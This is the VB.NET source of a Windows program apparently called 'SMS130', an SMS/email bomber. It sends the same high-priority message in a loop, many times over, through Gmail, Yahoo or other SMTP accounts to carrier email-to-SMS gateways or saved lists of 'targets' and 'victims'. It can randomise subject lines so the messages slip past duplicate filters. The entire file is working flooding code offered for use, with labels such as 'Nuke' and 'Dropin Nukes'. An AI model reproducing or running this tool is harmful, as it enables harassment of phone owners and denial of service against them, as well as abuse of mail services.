'thnx to prince_aamir for this code :)
Imports System.IO
Imports System.IO.File
Imports System.Net.Mail
Public Class Form1
Const FileSplit = "<-@r0-<"
Dim pwn As Random
Dim PhoneNumber1, Provider, Provider1, EmailProvider, Carrier, PhoneNumber, SMS, stub As String
Dim movin As New Point(137, 76)
Dim appLocation, CurLocation As New Point(0, 0)
Dim i As Integer = 0
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
Form3.Close()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
RadioButton1.Checked = True
Button2.Enabled = False
TextBox3.Enabled = False
TextBox4.Enabled = False
TextBox6.Enabled = False
StatusLabel1.Text = "Ready"
If Directory.Exists(Application.StartupPath & "\Senders\") = False Then
Directory.CreateDirectory(Application.StartupPath & "\Senders\")
End If
If Directory.Exists(Application.StartupPath & "\Targets\") = False Then
Directory.CreateDirectory(Application.StartupPath & "\Targets\")
End If
If Directory.Exists(Application.StartupPath & "\CUSTOM\") = False Then
Directory.CreateDirectory(Application.StartupPath & "\CUSTOM\")
End If
If Directory.Exists(Application.StartupPath & "\List\") = False Then
Directory.CreateDirectory(Application.StartupPath & "\List\")
End If
Dim direc As New IO.DirectoryInfo(Application.StartupPath & "\Senders\")
Dim direc1 As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
Dim customcarrier As New IO.DirectoryInfo(Application.StartupPath & "\CUSTOM\")
Dim list As New IO.DirectoryInfo(Application.StartupPath & "\List\")
Dim senderinfo As IO.FileInfo() = direc.GetFiles("*.sndr")
Dim carriers As IO.FileInfo() = customcarrier.GetFiles("*.txt")
Dim targetinfo As IO.FileInfo() = direc1.GetFiles("*.tgt")
Dim targetlist As IO.FileInfo() = list.GetFiles("*.txt")
Dim fileName As IO.FileInfo
For Each fileName In senderinfo
Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox3.Items.Add(fileName1)
Next
For Each fileName In targetinfo
Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox4.Items.Add(fileName1)
Next
For Each fileName In carriers
Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox2.Items.Add(fileName1)
Next
For Each fileName In targetlist
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBoxEx3.Items.Add(filename1)
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text.Contains("@") = False Then
MessageBox.Show(TextBox1.Text & " is not a valid email address", "Invalid Email", MessageBoxButtons.OK)
Exit Sub
End If
If RadioButton2.Checked = True Then
BackgroundWorker2.RunWorkerAsync()
ProgressBar1.Maximum = NumericUpDown2.Value
ElseIf RadioButton1.Checked = True Then
BackgroundWorker1.RunWorkerAsync()
ProgressBar1.Maximum = NumericUpDown1.Value
End If
Button1.Enabled = False
Button3.Enabled = False
TabControl1.Enabled = False
Button2.Enabled = True
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
BackgroundWorker1.CancelAsync()
BackgroundWorker2.CancelAsync()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Close()
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Dim pwn As New Random
PhoneNumber = TextBox5.Text
Provider = TextBox6.Text
SMS = PhoneNumber & Provider
Dim Nuke As New MailMessage
Nuke.From = New MailAddress(TextBox1.Text)
Nuke.To.Add(SMS)
Nuke.Subject = TextBox7.Text
Nuke.Body = TextBox8.Text
Nuke.Priority = MailPriority.High
Dim SMTPServer As New SmtpClient(TextBox3.Text)
SMTPServer.Port = (TextBox4.Text)
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
Do Until i = NumericUpDown1.Value
If BackgroundWorker1.CancellationPending Then
Exit Sub
End If
If CheckBox4.Checked = True Then
Nuke.Subject = TextBox7.Text & pwn.Next(1, 100000)
End If
SMTPServer.Send(Nuke)
i = i + 1
BackgroundWorker1.ReportProgress(0)
Loop
End Sub
Private Sub done() Handles BackgroundWorker1.RunWorkerCompleted
If i = 0 Then
MessageBox.Show("Send Failure" & vbNewLine & "Please check all the information and settings you have entered and" & vbNewLine & "Try Again", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
MsgBox(i & " " & "Messages Sent Successfully")
End If
Me.Text = "SMS130"
StatusLabel1.Text = "Ready"
StatusLabel2.Text = " "
Button2.Enabled = False
TabControl1.Enabled = True
Button1.Enabled = True
Button3.Enabled = True
i = 0
If CheckedListBox1.Items.Contains(SMS) Then
Exit Sub
Else
CheckedListBox1.Items.Add(SMS)
End If
End Sub
Sub report() Handles BackgroundWorker1.ProgressChanged
StatusLabel2.Text = i & "/" & NumericUpDown1.Value
Me.Text = "SMS130" & "[" & i & "/" & NumericUpDown1.Value & "]"
StatusLabel1.Text = "Dropin Nukes"
ProgressBar1.Value = i
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
If TextBox10.Text = "" Then
MessageBox.Show("Please specify a SenderFile Name", "Save As", MessageBoxButtons.OK)
Exit Sub
ElseIf Directory.Exists(Application.StartupPath & "\Senders\") = False Then
Directory.CreateDirectory(Application.StartupPath & "\Senders\")
ElseIf File.Exists(Application.StartupPath & "\Senders\" & TextBox10.Text & ".sndr") = True Then
If MessageBox.Show("This will erase your currently saved settings", "OverWrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
End If
Dim fs As New FileStream(Application.StartupPath & "\Senders\" & TextBox10.Text & ".sndr", FileMode.Create, FileAccess.Write)
Dim Save As New StreamWriter(fs)
Save.BaseStream.Seek(0, SeekOrigin.End)
Save.WriteLine(TextBox1.Text)
Save.WriteLine(TextBox2.Text)
Save.WriteLine(ComboBox1.Text)
Save.WriteLine(TextBox3.Text)
Save.WriteLine(TextBox4.Text)
StatusLabel1.Text = "Sender Info Saved"
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Senders\")
Dim senderinfo As IO.FileInfo() = dir.GetFiles("*.sndr")
Dim fileName As IO.FileInfo
ComboBox3.Items.Clear()
For Each fileName In senderinfo
Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox3.Items.Add(fileName1)
Next
Save.Close()
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
If ComboBox3.Text = "" Then
MessageBox.Show("Please specify a SenderFile Name", "Save As", MessageBoxButtons.OK)
Exit Sub
End If
Dim fs = New FileStream(Application.StartupPath & "\Senders\" & ComboBox3.Text & ".sndr", FileMode.Open, FileAccess.Read)
Dim d As New StreamReader(fs)
d.BaseStream.Seek(0, SeekOrigin.Begin)
While d.Peek() > -1
TextBox1.Text = d.ReadLine
TextBox2.Text = d.ReadLine
ComboBox1.Text = d.ReadLine
TextBox3.Text = d.ReadLine
TextBox4.Text = d.ReadLine
End While
StatusLabel1.Text = "Sender Info Loaded"
d.Close()
End Sub
Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
TextBox1.Text = ""
TextBox2.Text = ""
ComboBox1.Text = ""
TextBox3.Text = ""
TextBox4.Text = ""
StatusLabel1.Text = "Sender Info Cleared"
End Sub
Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
EmailProvider = ComboBox1.Text
If EmailProvider = "Custom" Then
CheckBox2.Checked = True
TextBox3.Text = ""
TextBox4.Text = ""
TextBox3.Enabled = True
TextBox4.Enabled = True
ElseIf EmailProvider = "Gmail" Then
CheckBox2.Checked = False
TextBox3.Enabled = False
TextBox4.Enabled = False
TextBox3.Text = "smtp.gmail.com"
TextBox4.Text = "587"
ElseIf EmailProvider = "HotMail" Then
CheckBox2.Checked = False
TextBox3.Enabled = False
TextBox4.Enabled = False
TextBox3.Text = "smtp.live.com"
TextBox4.Text = "587"
ElseIf EmailProvider = "Yahoo Mail" Then
CheckBox2.Checked = False
TextBox3.Enabled = False
TextBox4.Enabled = False
TextBox3.Text = "smtp.mail.yahoo.com"
TextBox4.Text = "465"
ElseIf EmailProvider = "AOL Mail" Then
CheckBox2.Checked = False
TextBox3.Enabled = False
TextBox4.Enabled = False
TextBox3.Text = "smtp.aol.com"
TextBox4.Text = "587"
End If
End Sub
Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
If CheckBox2.Checked = True Then
ComboBox1.Text = "Custom"
TextBox3.Text = ""
TextBox4.Text = ""
TextBox3.Enabled = True
TextBox4.Enabled = True
ElseIf CheckBox2.Checked = False Then
ComboBox1.Text = ""
TextBox3.Enabled = False
TextBox4.Enabled = False
End If
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
TextBox2.PasswordChar = "*"
ElseIf CheckBox1.Checked = False Then
TextBox2.PasswordChar = ""
End If
End Sub
Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
Dim filelocation As String = ""
filelocation = Application.StartupPath & "\Senders\" & ComboBox3.Text & ".sndr"
If File.Exists(filelocation) = False Then
MessageBox.Show("No such file exsists", "No File", MessageBoxButtons.OK)
Exit Sub
ElseIf MessageBox.Show("Are you sure that you want to delete the sender", "Prompt", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
File.Delete(filelocation)
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Senders\")
Dim senderinfo As IO.FileInfo() = dir.GetFiles("*.sndr")
Dim fileName As IO.FileInfo
ComboBox3.Items.Clear()
For Each fileName In senderinfo
Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox3.Items.Add(fileName1)
Next
TextBox10.Text = ""
ComboBox3.Text = ""
End Sub
Private Sub RadioButton1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton1.CheckedChanged
If RadioButton1.Checked = True Then
GroupBox2.Enabled = True
GroupBox3.Enabled = False
End If
End Sub
Private Sub RadioButton2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton2.CheckedChanged
If RadioButton2.Checked = True Then
GroupBox3.Enabled = True
Else
GroupBox3.Enabled = False
End If
End Sub
Private Sub BackgroundWorker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
If TextBox1.Text.Contains("@") = False Then
MessageBox.Show(TextBox1.Text & " is not a valid email address", "Invalid Email", MessageBoxButtons.OK)
Exit Sub
End If
Dim Nuke As New MailMessage
Nuke.From = New MailAddress(TextBox1.Text)
For Each item As String In CheckedListBox1.CheckedItems
Nuke.To.Add(item)
Next
Nuke.Subject = TextBox7.Text
Nuke.Body = TextBox8.Text
Nuke.Priority = MailPriority.High
Dim SMTPServer As New SmtpClient(TextBox3.Text)
SMTPServer.Port = (TextBox4.Text)
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
Do Until i = NumericUpDown1.Value
If BackgroundWorker1.CancellationPending Then
Exit Sub
End If
If CheckBox4.Checked Then
Nuke.Subject = TextBox7.Text & pwn.Next(1, 100000)
End If
SMTPServer.Send(Nuke)
i = i + 1
BackgroundWorker2.ReportProgress(0)
Loop
End Sub
Private Sub Done1() Handles BackgroundWorker2.RunWorkerCompleted
If i = 0 Then
MessageBox.Show("Send Failure" & vbNewLine & "Please check all the information and settings you have entered and" & vbNewLine & "Try Again", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
MsgBox(i & " " & "Messages Sent Successfully")
End If
StatusLabel1.Text = "Ready"
StatusLabel2.Text = " "
Button2.Enabled = False
GroupBox1.Enabled = True
GroupBox2.Enabled = True
Button1.Enabled = True
Button3.Enabled = True
i = 0
End Sub
Sub report1() Handles BackgroundWorker2.ProgressChanged
StatusLabel2.Text = i & "/" & NumericUpDown2.Value
StatusLabel1.Text = "Dropin Nukes"
ProgressBar1.Value = i
End Sub
Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
If TextBox9.Text = "" Then
MessageBox.Show("Please specify target file name", "Save as", MessageBoxButtons.OK)
Exit Sub
ElseIf File.Exists(Application.StartupPath & "\Targets\" & TextBox9.Text & ".tgt") = True Then
If MessageBox.Show("The file name(" & TextBox9.Text & ") already exsists.Would you like to overwrite it", "Overwrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
End If
Dim fs1 As New FileStream(Application.StartupPath & "\Targets\" & TextBox9.Text & ".tgt", FileMode.Create, FileAccess.Write)
Dim Save1 As New StreamWriter(fs1)
Save1.BaseStream.Seek(0, SeekOrigin.End)
Save1.WriteLine(TextBox5.Text)
Save1.WriteLine(ComboBox2.Text)
Save1.WriteLine(TextBox6.Text)
Save1.WriteLine(NumericUpDown1.Value)
Save1.WriteLine(TextBox7.Text)
Save1.WriteLine(TextBox8.Text)
StatusLabel1.Text = "Target Info Saved"
Save1.Close()
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.tgt")
Dim fileName As IO.FileInfo
ComboBox4.Items.Clear()
For Each fileName In targetinfo
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox4.Items.Add(filename1)
Next
End Sub
Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
If ComboBox4.Text = "" Then
MessageBox.Show("Please specify a TargetFile Name", "Specify File", MessageBoxButtons.OK)
Exit Sub
ElseIf File.Exists(Application.StartupPath & "\Targets\" & ComboBox4.Text & ".tgt") = False Then
MessageBox.Show("File not found", "Not Found", MessageBoxButtons.OK)
Exit Sub
End If
Dim fs1 = New FileStream(Application.StartupPath & "\Targets\" & ComboBox4.Text & ".tgt", FileMode.Open, FileAccess.Read)
Dim r As New StreamReader(fs1)
r.BaseStream.Seek(0, SeekOrigin.Begin)
While r.Peek() > -1
TextBox5.Text = r.ReadLine
ComboBox2.Text = r.ReadLine
TextBox6.Text = r.ReadLine
NumericUpDown1.Value = r.ReadLine
TextBox7.Text = r.ReadLine
TextBox8.Text = r.ReadLine
End While
StatusLabel1.Text = "Target Info Loaded"
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.tgt")
Dim fileName As IO.FileInfo
ComboBox4.Items.Clear()
For Each fileName In targetinfo
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox4.Items.Add(filename1)
Next
End Sub
Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
TextBox5.Text = ""
ComboBox2.Text = ""
TextBox6.Text = ""
NumericUpDown1.Value = 0
TextBox7.Text = ""
TextBox8.Text = ""
End Sub
Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
If TextBox5.Text <> "" And ComboBox2.Text <> "" And TextBox6.Text <> "" Then
ElseIf CheckedListBox1.Items.Contains(SMS) = True Then
If MessageBox.Show("This Target is already exsists in the list. Would you like to add it anyway for some strange reason?", "Target Exists", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
End If
CheckedListBox1.Items.Add(SMS, CheckState.Checked)
End Sub
Private Sub ComboBox2_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox2.SelectedIndexChanged
Carrier = ComboBox2.Text
If Carrier = "Custom" Then
CheckBox3.Checked = True
ElseIf Carrier = "Verizon" Then
CheckBox3.Checked = False
TextBox6.Enabled = False
TextBox6.Text = "@vtext.com"
ElseIf Carrier = "Sprint PCS" Then
CheckBox3.Checked = False
TextBox6.Enabled = False
TextBox6.Text = "@messaging.sprintpcs.com"
ElseIf Carrier = "AT & T" Then
CheckBox3.Checked = False
TextBox6.Enabled = False
TextBox6.Text = "@txt.att.net"
ElseIf Carrier = "T-Mobile" Then
CheckBox3.Checked = False
TextBox6.Enabled = False
TextBox6.Text = "@tmomail.net"
ElseIf Carrier = "Virgin Mobile" Then
CheckBox3.Checked = False
TextBox6.Enabled = False
TextBox6.Text = "@vmobl.com"
ElseIf Carrier = "Cricket" Then
CheckBox3.Checked = False
TextBox6.Enabled = False
TextBox6.Text = "@sms.mycricket.com"
ElseIf Carrier <> "" Then
Dim fs1 = New FileStream(Application.StartupPath & "\CUSTOM\" & Carrier & ".txt", FileMode.Open, FileAccess.Read)
Dim r As New StreamReader(fs1)
r.BaseStream.Seek(0, SeekOrigin.Begin)
While r.Peek() > -1
TextBox6.Text = r.ReadLine
End While
End If
PhoneNumber = TextBox5.Text
Provider = TextBox6.Text
SMS = PhoneNumber & Provider
End Sub
Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
If CheckBox3.Checked = True Then
ComboBox2.Text = "Custom"
TextBox6.Text = ""
TextBox6.Enabled = True
ElseIf CheckBox3.Checked = False Then
ComboBox2.Text = ""
TextBox6.Enabled = False
End If
End Sub
Private Sub Checkbox3_Movingwords(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.MouseHover
Timer2.Enabled = True
Timer2.Start()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
CheckBox3.Text = CheckBox3.Text.Substring(1) & CheckBox3.Text.Substring(0, 1)
End Sub
Private Sub Checkbox3_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.MouseLeave
Timer2.Stop()
CheckBox3.Text = "Custom Carrier or Email "
End Sub
Private Sub Button19_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button19.Click
Dim filelocation As String = ""
filelocation = Application.StartupPath & "\Targets\" & ComboBox4.Text & ".tgt"
If File.Exists(filelocation) = False Then
MessageBox.Show("The file specified does not exsist", "File Not Found", MessageBoxButtons.OK)
Exit Sub
ElseIf File.Exists(filelocation) = True Then
If MessageBox.Show("Are you sure you would like to delete the selected target: " & ComboBox4.Text, "Prompt", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
End If
File.Delete(filelocation)
ComboBox4.Text = ""
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.tgt")
Dim fileName As IO.FileInfo
ComboBox4.Items.Clear()
For Each fileName In targetinfo
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBox4.Items.Add(filename1)
Next
End Sub
Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
For i As Integer = 0 To CheckedListBox1.Items.Count - 1
Me.CheckedListBox1.SetItemChecked(i, True)
Next i
End Sub
Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
For i As Integer = 0 To CheckedListBox1.Items.Count - 1
CheckedListBox1.SetItemChecked(i, False)
Next i
End Sub
Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
While CheckedListBox1.CheckedItems.Count > 0
CheckedListBox1.Items.Remove(CheckedListBox1.CheckedItems(0))
End While
End Sub
Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
If TextBox11.Text = "" Then
MessageBox.Show("Please specify a Target List File Name", "Save As", MessageBoxButtons.OK)
Exit Sub
End If
If File.Exists(Application.StartupPath & "\List\" & TextBox11.Text) Then
If MessageBox.Show("The file name(" & TextBox11.Text & ") already exsists.Would you like to overwrite it", "Overwrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
ElseIf File.Exists(Application.StartupPath & "\List\" & TextBox11.Text) = True Then
If MessageBox.Show("This will erase your currently saved settings", "OverWrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
End If
Dim fs2 As New FileStream(Application.StartupPath & "\List\" & TextBox11.Text & ".txt", FileMode.Create, FileAccess.Write)
Dim Save2 As New StreamWriter(fs2)
Save2.BaseStream.Seek(0, SeekOrigin.End)
For Each Item As String In CheckedListBox1.Items
Save2.WriteLine(Item)
Next
StatusLabel1.Text = "List Saved"
Save2.Close()
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\List\")
Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.txt")
Dim fileName As IO.FileInfo
ComboBoxex3.Items.Clear()
For Each fileName In targetinfo
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBoxex3.Items.Add(filename1)
Next
End Sub
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
If ComboBoxex3.Text = "" Then
MessageBox.Show("Please specify a Target List File Name", "Save As", MessageBoxButtons.OK)
Exit Sub
End If
If File.Exists(Application.StartupPath & "\List\" & ComboBoxex3.Text & ".txt") = False Then
MessageBox.Show("The File specified does not exist", "File Not Found", MessageBoxButtons.OK)
End If
Dim fs = New FileStream(Application.StartupPath & "\List\" & ComboBoxex3.Text & ".txt", FileMode.Open, FileAccess.Read)
Dim d As New StreamReader(fs)
d.BaseStream.Seek(0, SeekOrigin.Begin)
list:
Do While d.Peek() > -1
Dim victim As String = d.ReadLine
If CheckedListBox1.Items.Contains(victim) = True Then
If MessageBox.Show(victim & " already exsists in the list. Would you like to add it anyway for some strange reason?", "Target Exists", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
GoTo list
End If
End If
CheckedListBox1.Items.Add(victim)
Loop
StatusLabel1.Text = "Target List Loaded"
d.Close()
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\List\")
Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.txt")
Dim fileName As IO.FileInfo
ComboBoxex3.Items.Clear()
For Each fileName In targetinfo
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBoxex3.Items.Add(filename1)
Next
End Sub
Private Sub Panel1_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Panel1.MouseDown
Timer1.Enabled = True
Timer1.Start()
windowlocation()
End Sub
Private Sub windowlocation()
appLocation = Me.Location
CurLocation = Cursor.Position
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Location = appLocation - CurLocation + Cursor.Position
windowlocation()
End Sub
Private Sub panel1_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Panel1.MouseUp
Timer1.Stop()
windowlocation()
End Sub
Private Sub ButtonX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonx1.Click
Me.Enabled = False
Form2.Show()
End Sub
Private Sub ButtonX1_Movingwords(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonx1.MouseHover
Timer3.Enabled = True
Timer3.Start()
End Sub
Private Sub ButtonX1_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonx1.MouseLeave
Timer3.Stop()
buttonx1.Text = "Add Custom Carrier/Email "
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
buttonx1.Text = buttonx1.Text.Substring(1) & buttonx1.Text.Substring(0, 1)
End Sub
Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button20.Click
Dim filelocation As String = ""
filelocation = Application.StartupPath & "\List\" & ComboBoxex3.Text & ".txt"
If File.Exists(filelocation) = False Then
MessageBox.Show("The file specified does not exsist", "File Not Found", MessageBoxButtons.OK)
Exit Sub
ElseIf File.Exists(filelocation) = True Then
If MessageBox.Show("Are you sure you would like to delete the selected target: " & ComboBoxex3.Text, "Prompt", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
Exit Sub
End If
End If
File.Delete(filelocation)
Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\List\")
Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.txt")
Dim fileName As IO.FileInfo
ComboBoxex3.Items.Clear()
For Each fileName In targetinfo
Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
ComboBoxex3.Items.Add(filename1)
Next
End Sub
End Class
'use safe be safe lol